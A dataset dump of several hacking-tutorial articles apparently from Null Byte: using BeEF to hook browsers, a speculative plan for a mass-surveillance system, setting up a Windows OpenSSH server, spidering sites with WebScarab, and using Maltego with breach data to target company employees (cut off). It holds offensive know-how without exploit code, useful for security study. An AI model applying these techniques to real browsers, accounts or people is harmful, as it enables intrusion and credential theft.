title
stringlengths
30
147
content
stringlengths
17
61.4k
Got Beef? Getting Started with BeEF « Null Byte :: WonderHowTo
With the the general computer users understanding of Information security rising (at least to the point of not clicking on unknown links), and operating system security getting better by default. We need to look for new and creative ways to gain a foothold in a system.Luckily there are tools available to us, such as the one will we be looking at today, The Browser Exploitation Framework.Step 1: Finding BeEFIn Kali can be found under Applications>Kali>Exploitations>BeEF XSS FRAMEWORK,In BT......Step 2: Fire It UpWhen we click on the application we will be greeted with a new tab in our browser that looks like this. Sign in with the default credentials beef/beef.We'll now see this screen, with some important information to read, but for todays purposes we will focus on the first paragraph "Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here."Step 3: Browser, Meet HooksAfter Clicking on the basic page's link you will see the basic page like this.However if you go back to the BeEF control panel tab you will notice in the far left corner there is a window called HOOKED BROWSERS, in the online browsers section you will see 127.0.0.1, Success!Step 4: Beat the MeatIf we click on our browser session in this far left window, our center window will change and we will be greeted with the details page, here we are displayed all the information BeEF was able to gather for us about the browser, Usually browser fingerprint, plug-ins that are running, all the good stuff we need to know to proceed with storming the castle.Where it says "details" you will notice a series of tabs click on commands, which will bring you here, to an absolute plethora of commands that we can play with, however today we will just focus on a simple but often effective command "Browser Redirection"Step 5: Redirect CommandWhile looking through the commands I'm sure you all noticed a folder called "Browser" which has a child called "Hooked Domain", go there, and you will find a command called "Browser Redirection"You will now notice a window on the far right that Contains a text box, and a little button in the bottom corner that says "execute" click this button and be amazed as the tab that was on the BeEF Demo Site, is redirected to the BeEF home page (or where-ever you pointed it in the text box).Have a play around with BeEF, go to your hooked page from another computer in your local network ( it will be at 192.168..:3000/demos/basic) and I'm sure you will start to see potential, which we will be covering in the next article on teaming BeEF up with one of Master OTW's client side attacks by burying meterpreter into a file and then serving it out using Browser Redirect.In the near future we will also be looking at how to "Hook" other web pages and all sorts of fun stuff that can be done with BeEF.Till then, you stay classy NullByteiansN.B there are images to come, Wonderhowto just doesn't seem to want to let me upload todayWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use beEF (Browser Exploitation Framework)How To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Pull Italian Beef for Italian Beef SandwichExploiting XSS with BeEF:Part 2Hack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Make beef bourguignon with smoky bacon with Tyler FlorenceHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Hook Web Browsers with MITMf and BeEFHow To:Beef Up Your Recipes with Beef SaltHow To:BeEF+Ettercap:Pwning MarriageHow To:Take Pictures Through a Victim's Webcam with BeEFHow To:Hack web browsers with BeEFHow To:Why You Should Start Eating Raw Meat (Or Eat More of It)How To:Make Perfectly Sized, Uniform Patties for Sliders & Mini Burgers Without Getting Your Hands DirtyHow To:Butcher a beef carcassNews:Top 10 Beef-less Burgers in LAHow To:Make Bourbon-Spiked ChiliNews:Homeless Terminator Goes Postal on AppleHow To:Cook a Yankee chuck beef pot roast with red wine
Advice from a Real Hacker: How I Would Build the God's Eye of Furious 7 « Null Byte :: WonderHowTo
In the recent hit movieFurious 7, the storyline revolves around the acquisition of a hacking system known as "God's Eye" that is capable of finding and tracking anyone in real time. Both the U.S. spy agencies and an adversarial spy agency (it's not clear who the adversary is, but the location is "beyond the Caucasus mountains," which could imply Russia?) desperately want their hands on this system.God's Eye was developed by a gorgeous female hacker named Ramsey (talk about breaking hacker stereotypes!), who was played by the beautiful Nathalie Emmanuel, which many of you may remember fromGames of Thrones. This tool could be used by these spy agencies to find anyone, anywhere, by tapping into every cell phone and surveillance camera.Nathalie Emmanuel as Ramsey in Furious 7.Image by Scott Garfield/Universal StudiosSince the movie came out, many people have been questioning and pondering whether the God's Eye is real, or could potentially be real. Pundits and technologists have unanimously concluded that the God's Eye is not real and not possible.But I disagree, and this is how I would build it.1. Nearly Unlimited Resources & AuthorityTo begin with, I will need to commandeer nearly unlimited resources and unrestrained legal authority. Something along the lines of $50 billion should work. That's approximately the annual budget of the NSA—or Mark Zuckerberg's fortune. Also, I will need the unrestrained legal authority of the NSA or the CIA. I could do it without the legal authority, but itssomuch easier with it.2. Collect All the Data Traversing the InternetThe first step would be to collect all of the information traversing the Internet. Maybe store it all in a huge database in some remote, god- forsaken place like Bluffdale, Utah. It will have data capacity on the scale of Google's data centers, or about 15 exabytes. That will cost about $1.5 billion.A view of the NSA's top-secret Utah Data Center in Bluffdale, UT.Image by Rick Bowmer/APThe next step is to build a database of everyone's face. I would make copies of everyone's face from their Facebook profile, Instagram pics, and text messages.Since Facebook has over 1.55 billion active users, and I would combine that with the pictures of their friends, colleagues, and family members in their profiles, as well as Instagram photos and text message attachments, that would give me over 2.5 billion faces in my database. That's about one-third of the planet's population. (If I include those text message attachments, I could build a database of other, lesser seen, biometric features as well).I would then build a biometric outline of everyone's face from these pictures. With recent advances in facial recognition software, I would then be able to match any image, found anywhere, of those 2.5 billion people to their identity with a high degree of certainty.Images via Unknown,Shutterstock3. Embed a Backdoor in Android & iOSThe next step would be to embed a backdoor in Android and iOS that would give me unlimited access to devices running those operating systems (Windows Phone and BlackBerry are bit players in the smartphone market, so I won't worry about them).First, I would "ask" Apple and Google nicely to have a backdoor placed in their operating systems for "national security" purposes. They always acquiesce when asked, and I'm sure they would again. The next update to your phone would install that backdoor, giving me access to all of your video, emails, text messages, and GPS location data.This would all go into my mega database. With all this smartphone data, I can predict where you will be at any moment from your patterns of movements in the past. For instance , I would know that at 7:32 a.m., you are on the freeway heading to work Monday through Friday.If they wouldn't agree to give me that backdoor, I would embed one in the developer kit so that every app developed and downloaded for those platforms would give me total access to everyone's phones. Recently, in China, the OS X developer kit for iOS had a backdoor built in that gave hackers nearly unlimited access to iPhones in China. I would do the same.Finally, if those methods don't work, I would simply contract withVupenor one of the other zero-day exploit writers, to find a vulnerability in those operating systems and then exploit them, giving me access. Should cost me about $2-5 million. That's really pocket change for this project.4. Build a Supercomputer to Process the DataNext, I will need supercomputer capable of 20 petaFLOPS to process all of this data in real time, as well as brute-force passwords and encryption algorithms. With this much horsepower, I would hash every possible password and put it into my database. In that way,breaking hashed passwordswould simply be a table lookup taking seconds.This supercomputer would have 150,000 nodes and 2,250,000 cores. It consumes about 6 MW of power (approximately the amount of power needed to supply 3,000-4,000 homes) and costs approximately $1 billion.Inside Facebook's data center in Prineville, Oregon.Image via Open Computer Project5. Hack All the Webcams & Surveillance CamerasNext, I would hack all the webcams and surveillance cameras.Shodanmakes it easy to find any webcam connected to the Internet.Many have no security. Those that do can be easily hacked by brute-forcing their passwords. With a 20 petaFLOPS supercomputer, that will take me seconds per camera.The feed from all of these cameras would be sent directly to my database.6. Set Up Surveillance Cameras EverywhereInFurious 7, the God's Eye has access to nearly every camera and microphone. I want to step that up a bit and add my own surveillance cameras.I would launch blimps and drones over every major city with high-resolution cameras similar to those on satellites, but rather than taking pictures from 100 miles away in space, I'd take them from 1,000 feet. That way, I could discern all of your facial features (even that pimple starting to emerge on your forehead), including your eye color. These would be similar to the spy blimp Raytheon just launched over Washington, DC and Baltimore, MD to track every movement—of every one—in those areas. Should cost me about another $5 billion.The JLENS, or "radar blimp," made by Raytheon.Image viaRaytheonThese drones and blimps will fly high enough that you won't even know they are there. They will only be visible at take-off and landing.A military blimp designed to cover the mid-Atlantic region through radar; taking off in Pennsylvania.Image by harleighwelsh1/TwitterNow, with a data center, supercomputer, 2.5 billion facial profiles, facial recognition software, access to almost every smartphone on the planet, access to every internet-connected surveillance camera, and additional surveillance cameras in the sky and on the ground, my God's Eye would be complete and I would still have change left from my $50 billion.On second thought, maybe I don't need to build God's Eye. I think somebody already has.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:God's EyeTypoGuy Explaining Anonymity:Staying Hidden from the NSANews:4 Touched-by-the-Lord Potato Gun Video TutorialsHow To:Draw Angry God EyesHow To:Earn the "Obedience School" trophy in God of War 3How To:Build 3 decks for Yu-Gi-Oh-Gx! Tag Force 2! (Cyber End, God, Blue Eyes)How To:Find all the items in Mount Olympus in God of War 3TypoGuy Explaining Anonymity:A Hackers MindsetHow To:Make a Wiccan "God's Eye" or "Evil Eye"News:Greek theater at EpidaurusNews:More Jackass on MOVIESBudget Astronomy:Resources for Making Your Own EquipmentNews:Breathtaking "City of the Gods" by NEWDeStRoY1 Wins This Week's Minecraft Staff Choice AwardsNews:Poem of The DayNews:Of Gods and Men (2010)How To:Write a TreatmentOpen Borders:Fast and Furious: Infowars Exclusive (HQ)News:Book Review - The Prodigal God by Timothy KellerNews:TOON BUILDSGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsMinecraft:I'm Going HomeNews:"If God Had Windows..."Realm of the Mad God:A Free Indie Browser Alternative to World of WarcraftWTFoto Image Macro Challenge:Give Us Your Best Hobo Advice!Community Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsNews:True Legacy - Where's God? (New 2011) @iAmTrueLegacyCloud Photography Challenge:God Said Let There Be LightNews:Pacman Ghosts Discuss TVNews:Harland Williams is the coolest GOD ever.Weekly Tips #3:Making a Build DynamicNews:Kim Dotcom Lashes Out Against “Corrupt” US GovernmentNews:Hydration Advice for SportsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Things to Do on WonderHowTo (03/07 - 03/13)News:The SCRABBLE KeyboardInception in Real Life:Make These Lucid Dreaming Glasses and Take Control of Your DreamsWTFoto's Trolling Tuesdays:College Ivy League EditionHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Dont Talk to StrangersScrabble Bingo of the Day:ZEPHYRS
How to Create a Native SSH Server on Your Windows 10 System « Null Byte :: WonderHowTo
With the addition of theOpenSSHclient and server in theWindows 10 Fall Creators Update, you no longer have to rely on third-party programs to open an SSH server and connect to a Windows machine. While still a beta feature, this represents a long-overdue update fulfilling apromisemade back in 2015.TheOpenSSH clientallows you toSSHinto remote servers directly from the Windows command line. The server lets remote clients connect to your Windows 10 system, where they will be able to receive a command prompt for your system remotely. If you are familiar with OpenSSH from Linux, then you'll be right at home with the Windows 10 version.OpenSSH for Windows is definitely in beta form and should only be used in a safe, testing environment such as your home network. This shouldn't be used in production or opened to the internet. That being said, as time goes on, this implementation of OpenSSH should grow more secure and useful.To follow this guide, you'll need a Windows 10 computer that has been fully updated. Before starting, make sure to check for and install any updates Windows may have or these steps may not work properly. To check for updates, you can go to the Start button, and then go to "Settings" –> "Update & security" –> "Windows Update," then click on "Check for updates."Step 1: Enable Developer ModeTo begin, we need to ensure that the Windows system is set to "Developer mode," otherwise it will be impossible to download these beta features. Navigate to the search bar on the bottom left of your screen. Search for "developers settings" and it should appear underBest matchin the results. Select it to open the settings.Now you should see theUse developer featuresmenu. The "Windows Store apps" setting will be selected by default, so click on "Developer mode" to enable it. It should take a few moments to install the 6 MB file, and just like that, you're a Windows developer!Step 2: Install the OpenSSH ServerOnce developer mode is enabled, we're ready to install OpenSSH, and there are a few ways to do this, depending on your preferences. We'll cover both PowerShell and DISM.Method 1: Using PowerShellThe entire install process can be done inPowerShell, which is more convenient if you are installing OpenSSH on more than one computer. This could easily be turned into aUSB Rubber Duckyscript to make the process of setting up an SSH server lighting-fast. Some hackers might even start using this as a way to create an SSH backdoor on Windows systems.Don't Miss:How to Load & Use Keystroke Injection Payloads on the USB Rubber DuckyFirst, run PowerShell as the administrator by pressingWindows+Xon your keyboard and clicking on "Windows PowerShell (Admin)." Then, check to ensure that the OpenSSH features are available for installation by running the following command.Get-WindowsCapability -Online | ? Name -like 'OpenSSH*'The shell should return "NotPresent" which means that the server isn't yet downloaded. As you can see,I have the OpenSSH Client installed, and the server is available for installation.Assuming OpenSSH is available, you can install the server with the following command. If it is not available, make sure your system is updated and that developer mode is enabled, as those are the two most common problems which can cause this.Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0Note that the prompt may say a restart isn't needed, but it's my experience that a restart is, in fact, required. When the process is complete, you should see something like the screen below.Method 2: Using DISMIf you'd prefer to use the command-line over PowerShell,Deployment Image Servicing and Management(DISM) is a command-line tool that we can also use to install the OpenSSH server.To begin installing OpenSSH with DISM, open a command prompt as an administrator. This can be done by searching for "CMD" in the search bar at the bottom left-hand corner of the screen. Right-click on "Command Prompt" and then select "Run as Administrator."Check that the OpenSSH features are available with the following command.dism /Online /Get-Capabilities | findstr OpenSSHIf you get the following, then you are ready to install the server.Install the server with this command:dism /Online /Add-Capability /CapabilityName:OpenSSH.Server~~~~0.0.1.0You will need to reboot the computer after installation.Step 3: Generate Host KeysNow that we have the server installed, we need to generate host keys so the SSH server will be able to authenticate clients while it's in use. To do this, we will open PowerShell as the administrator by pressingWindows+Xand clicking on "Windows PowerShell (Admin)." Start the ssh-agent with the following command.Start-Service ssh-agentOnce the ssh-agent is running, we can move to the OpenSSH folder and begin generating a key. Usecdto change folders as seen in the first command below, and then create the key with the second.cd C:\Windows\System32\OpenSSH.\ssh-keygen -ANow, we can add the key to our SSH server with the following command..\ssh-add sshhosted25519_keyThis is the key that will be used from now on for our SSH connections.Don't Miss:How to Generate Private Encryption Keys with the Diffie-Hellman Key ExchangeStep 4: Install the OpenSSHUtils Helper ModuleYou could attempt to use the SSH server now, but if you do, you'll run into a whole slew of errors. This is because the server is still in beta, and is very finicky.To help resolve these issues, Microsoft has created the OpenSSHUtils helper module, which will appropriately add your host keys and set permissions to the Access Control List (ACL). To install OpenSSHUtils, we will run the command below.Install-Module -Force OpenSSHUtilsIt may also ask to install the package managerNuGet. If you don't already have it, typeyto install it.Once that's done, we are ready to run the helper module, which should clean up those errors we saw before. Run the following command to install it.Repair-SshdHostKeyPermission -FilePath C:\Windows\System32\OpenSSH\sshhosted25519_keyYou will revive a number of prompts; useyas your response to all of the prompts to set the file permissions correctly. As you can see below, you have to say yes quite a few times.Step 5: Open a Port in the FirewallNow, everything should be ready to go on the SSH server side of things. We just need to open a port in the firewall so we can establish an SSH connection with a client outside of the current Windows system. Your requirements may vary based on your environment, but in general, the following firewall rule should work for most Windows users. Input the following command to open a local port 22 named SSH.New-NetFirewallRule -Protocol TCP -LocalPort 22 -Direction Inbound -Action Allow -DisplayName SSHStep 6: Start Your New SSH ServerThat's it. You're ready to start using your SSH server! One thing to note, only the built-inED25519 authentication key typeis currently supported. There are plans to addLibreSSLin the future, which will enable additional authentication key types, but as of yet, that has not been done. So for now, use an ED25519 key to connect to the server.The SSH server doesn't start up automatically, so we have to start it manually each time we wish to use the server by typingStart-Service sshdinto our PowerShell window. You can check to see that it's running withGet-Service sshd.You should always remember to stop the service when not in use withStop-Service sshdto maintain the security of your system.To connect to your new SSH server, use your favorite SSH client such asPuTTYor thenew OpenSSH client. In general, you can use the following format to connect.ssh username@host -p portWhen you connect to your new server, you'll find that you get a full command prompt, which can run all command line tools, even PowerShell! With the addition of the OpenSSH Client to Windows 10 as well, you now have an extra layer of flexibility where you can directly connect two Windows systems over SSH.Don't Miss:How to Use SSH Local Port Forwarding to Pivot into Restricted NetworksWindows Is Easier Than Ever to Administer RemotelyThe new built-in SSH server is a welcome addition to Windows 10. It represents Microsoft taking steps to listen to developers and system administrators to meet their needs. This new feature allows you to manage a Windows machine much more easily, and as Windows continues to improve and implement OpenSSH as a full feature, I believe more and more people will come to use it due to its ease of use and convenience. The days of the third-party SSH servers dominating the Windows field are numbered.Thanks for reading! If you have any questions, you can ask me here or on Twitter@The_Hoid.Don't Miss:How to Enable the New Native SSH Client on Windows 10Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Hoid/Null ByteRelatedHow To:Enable the New Native SSH Client on Windows 10Hacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Run Your Favorite Graphical X Applications Over SSHSSH the World:Mac, Linux, Windows, iDevices and Android.Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Create an SSH tunnel for your Mac Mini serverHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Rasberry Pi:Connecting on ComputerAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:SSH and FTP into a serverHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersNews:What does Pro Tools HD Native mean for you?How To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:Run an FTP Server from Home with LinuxHow To:Create Your Own Native American Girl Halloween Costume
Hack Like a Pro: How to Hack Web Apps, Part 2 (Website Spidering with WebScarab) « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!Now that we have begun this trip downweb app hacking lane, we need to first address target reconnaissance. Like any hack,reconnaissanceis critical. (Are you tired of me saying that yet?)There is no better telltale sign of a script-kiddie than a hacker who runs willy-nilly into trying to hack/exploit without doing proper recon. They say they don't "have time" to do proper recon, then when they are invariably unsuccessful, they scratch their head and ask, "Why didn't this hack work?"For a professional hacker, reconnaissance is often 70% or more of the time we spend on a hack. Since each hack/exploit is specific to a vulnerability, and the vulnerability is specific to the OS, the ports, the apps, the technologies used, and even the language, hacking without recon is simply an exercise in futility.Web App ReconnaissanceI think it's important to note here that web app reconnaissance is a process and not a tool. Before attacking a web app, you need to gather as much information as possible. In some cases, you will get conflicting information, and when that happens, you may need to run another reconnaissance tool or technique.Here are some of the tools and tutorials that I have already covered that you can use for reconnaissance.Operating System- The underlying operating system of the target can often be determined by usingNmap,Xprobe2,P0f, orNetcraft.Web Server- The underlying web server can often be determined byNetcraft, banner grabbing withNetcat,Httprint, orShodan.Web Technologies- The underlying technologies can be determined withNetcraft.DNS- You may need toperform DNS reconto find hidden servers.Wikto- This is an excellent tool for finding so much information on the website including finding hidden directories and Google hacking.DirBuster- OWASP's tool maps nearly every directory in a website and often finds hidden or unknown directories in a website.Maltego- This tool is great for many of the above tasks, as well as social networking relationships.Httrack- This tool enables us to make a copy of the website for online reconnaissance and analysis before exploitation.Website SpideringBefore a website attack or penetration test, we need to spider the site. Many of the tools we use to attack a site need a map of the website in order to do their work. We could manually spider the site by simply navigating to each page and saving it, but fortunately, we have tools that can save us time and automate this process. The tool we will use here is calledWebScarabbyOWASP. It's built into Kali, so no need to download or install anything.Step 1: Fire Up Kali & Open WebScarabLet's begin by firing upKaliand then navigate to Applications -> Kali Linix -> Web Applications -> Web Crawlers -> webscarab.Step 2: WebScarabWhen we click on the webscarab option, it opens with a GUI interface like that below. As you can see, WebScarab has many web reconnaissance features, but here we will focusing on its ability to spider a website. In later tutorials, we will explore some of its other capabilities.Step 3: Configure Your BrowserBefore we begin spidering a website, we need make certain that your browser is configured properly. By default, WebScarab uses a proxy on 127.0.0.1 on 8008. You can change it by clicking on the "Proxy" tab, but for now, let's keep the default setting and make certain that our browser is using the same setting.For more information on configuring the proxy setting in IceWeasel, seemy tutorial on THC-Hydra and Burp Suite.Step 4: Point WebScarab at a WebsiteNow, to see how WebScarab can spider a site, let's point it at our favorite website,WonderHowTo. In the "Allowed Domains" window, simply type inwww.wonderhowto.com.Next, go to your browser, in this case IceWeasel, and navigate towww.wonderhowto.com. When we do so, WebScarab will begin to populate the main window with every web address linked on that page. Note that the webpages are arranged in alphabetical order.Let's navigate down a bit to the Ns and findhttps://null-byte.wonderhowto.com/. We can click on it and expand all the links withinNull Byte, our favorite hacker training site.In this way, we can now see every webpage and link on the target website. In a future tutorial, when we begin the attack phase, we will see how we can actually use this information.Keep coming back, my tenderfoot hackers, as we exploreweb app hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstock,OWASPRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Launch Apps, Tasks, & Websites Directly from Your iPhone's Notification CenterHow To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:A Security Bug Just Made It Risky to Open Links on Your iPhone—Here's How to Protect YourselfBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)Hack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)Firefox Mobile 101:How to Turn Websites into Apps on Your Home Screen with the New Quantum BrowserHow To:Expand Your Coding Skill Set with This 10-Course Training BundleNews:8th Wall Spins Up New 'Spider-Man: Into the Spider-Verse' Augmented Reality Experience for Blu-Ray, DVD ReleaseHack Like a Pro:How to Hack Facebook (Same-Origin Policy)Hack Like a Pro:How to Fingerprint Web Servers Using HttprintHow To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsHow To:This Android App Lets You Cast Unsupported Web Videos to ChromecastHow To:No Data, No Problem—Use SMS to Connect to Your Favorite Web Services on AndroidHow To:If You're Seeing Lock Screen 'DU' Malware When Charging, Uninstall These Apps Right NowHow To:Get LED Color Effects for Music Playing on Your AndroidHow To:Generate Viral Memes Like a Pro with These Apps for Your iPhoneNews:8th Wall Adds Another Brick to Its Web AR Platform with AR Camera for Easy PrototypingHow To:Control Your iPhone Using Your EyesHow To:Get Nokia's Exclusive Camera App with Pro Mode on Any AndroidHow To:Get the Chrome Experience on Android Without Google Tracking YouHow To:Hack websites using cross-site scripting (XSS)How To:Hack web browsers with BeEFHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateNews:An Introduction to Macro Photography (Plus Some Insane Shots)How To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:The Official Google+ Insider's Guide IndexHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNull Byte:Never Let Us DieNews:Indie Game Mashup! DTIPBIJAYS + LSQOM = Scorpion Psychiatrists of SaturnCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations
How to Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party Breaches « Null Byte :: WonderHowTo
The easiest way around a security policy is to find users who don't follow it. TheHave I Been Pwneddatabase identifies accounts with information breached by major third parties like Yahoo and LinkedIn. With Maltego, hackers can locate breached accounts created using company email addresses, potentially giving attackers access to a company account if the employee reuses a compromised password.Follow along with the video above to learn how to use Maltego to target company email addresses that may have a vulnerable password. You can also refer to article below for more information (jump right to the stepsif you want!).OSINT for ReconWhen a hacker targets an organization,reconnaissanceis the phase of observing the target until a particular "weakest link" makes itself apparent. This initial research will identify the best way to achieve whatever the hacker's agenda is and will often start by identifying easy methods of gaining access, like targeting employees with poor security hygiene.Because sendingphishing emailsto steal account credentials is the most common way hackers break into a network, it's helpful for a hacker to be able to locate users who may be particularly vulnerable to this kind of attack. A hacker can save considerable time by usingopen-source intelligence(OSINT) techniques to research a target and look for opportunities indicated by human behavior, like creating third-party accounts with company email addresses.Hackers have many OSINT tools available for researching targets, but for answering more complex research questions or for conducting an investigation, Maltego is an excellent choice. Maltego can take a single piece of information and discover links to more pieces of data, allowing us to pull together a more complete picture in order to answer a question. In this case, the question we want to know is if any employees have entered their work email into a third-party website and had their credentials breached. If possible, we'd also like to track down the actual password the target had lost in the breach.Don't Miss:How to Use Maltego to Do Network ReconnaissanceHow Maltego Discovers InformationMaltego is an OSINT investigation tool designed to answer questions by pulling in related information via API pulls and then comparing the data to look for meaningful relationships. This helps a human investigator by presenting relationships between data in a clear and understandable way that might not immediately be obvious. Maltego is also great at starting with a single point of information and expanding to include much more data as different transforms are run. Transforms are a hybrid between an API pull and an algorithm to sort the data returned, which Maltego uses to find and display relationships.Taking this model, we can use Maltego transforms to break down a question into smaller pieces. In this case, we will need to locate email addresses associated the organization we are targeting. Next, we will need to expand the sample of email addresses we have to include as many samples as possible. When we have a good sample size, we can use a special transform to search databases of breached accounts to locate whether any of the emails we've found have been involved in a breach. Finally, we can enrich the breach data to learn about what details were lost and when the breach occurred.Don't Miss:How to Use Maltego to Research & Mine Data Like an AnalystWhy the Weakest Link Is Usually EmployeesWhile Maltego is often used for targeting infrastructure, we can also use it to target people. To do this, we will focus on the ways people identify themselves online. This usually means tracking screen names, email addresses, aliases, and other pieces of information that link a person to an organization or service. In this case, we'll be harvesting email addresses as our primary people-tracking method.A hacker can use this ability to track users across the internet or mine for relationships between users and organizations. While Maltego shines in its social media monitoring and tracking abilities, we'll simply be using various data scraping techniques to gather more employee email addresses into our data set to look for behaviors associated with a lack of concern for security.Don't Miss:Use Facial Recognition to Conduct OSINT Analysis on Individuals & CompaniesIn the worst-case scenario, a target could be unlucky enough to be reusing the same password between their company account and other third-party accounts. If the third party account password and email combination are stolen and leaked, a hacker could breach the victim's other accounts using the stolen username and password combination.The 'Have I Been Pwned' Transform & WebsiteThe Maltego transform we will use to preform this investigation is the Have I Been Pwned transform, which will query a database of breached personal information which has been leaked online and compiled. This database is maintained by researchers in order to easily identify if a particular email address has been invovled in a breach.While the web version allows you to do one search at a time, using the Maltego transform to run the query allows us to search for many email addresses at the same time.Step 1: Install MaltegoTo install Maltego, you'll need to have Java installed on your machine (Maltego uses Java 8 and does not support Java 9 at this time). If you're using Kali Linux, Maltego should be installed by default on your virtual machine or install. If you're using macOS or Windows, you can simply downloadMaltego Community Edition from the Paterva website.Once you install Maltego, you should be able to open the application and log in. You will need tocreate a free account with Patervato use the Community version.Step 2: Install the HaveIBeenPwned TransformOnce you log in, you should be redirected to the main transform hub. Here, you can install free and paid transforms to enrich data you find. We will need to make sure the "haveibeenpwned" transform has been installed, which can be found in the lower-right corner in the example below.Step 3: Create a New GraphWhen the "haveibeenpwned" transform is installed, you can click on the document icon with the green plus on it in the top-left corner of Maltego to create a blank canvas. This is where we will start our investigation.Step 4: Find Email Addresses from an OrganizationTo get started with scraping email addresses from an organization, we can either use the "Company Stalker" machine, which provides a simple way of scraping a lot of data all at once, or add the company domain to our blank canvas.Don't Miss:Use Facial Recognition to Conduct OSINT Analysis on Individuals & CompaniesTo add an entity to our canvas, we can select any of the icons in the left entity palate and drag and drop them into the main graph. By double-clicking the entity you added to the graph, you can add information or access properties of the entity.The "Company Stalker" can quickly take a single domain and attempt to find both related email addresses and any other information that might be relevant from that domain. This is a fast way to get started by using a chain of transforms designed to start your investigation with some juicy data points to follow.To start a machine, click on the "Machines" tab near the top of the Maltego window. Next, click the "Run Machine" icon to select which machine to run.From theStart a Machinewindow, you can select which machine you want to run. In this case, select the "Company Stalker."Next, enter the name of the domain you wish to find email addresses from. Click "Finish" when you're done to run the machine. 